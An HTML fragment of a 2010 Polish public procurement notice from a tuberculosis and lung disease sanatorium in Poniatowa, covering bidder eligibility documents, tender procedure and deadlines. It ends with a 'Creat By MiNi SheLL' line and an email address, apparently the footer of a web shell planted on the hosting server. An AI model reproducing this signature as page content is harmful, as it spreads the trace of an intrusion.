<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.sanatoriumpg.republika.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Samodzielne Publiczne Sanatorium Gruźlicy i Chorób Płuc w Poniatowej
ul.Fabryczna 6, 24-320 Poniatowa.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 18.10.2010 godzina 10:00, miejsce: Samodzielne Publiczne Sanatorium Gruźlicy i Chorób Płuc w Poniatowej
ul.Fabryczna 6, 24-320 Poniatowa.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com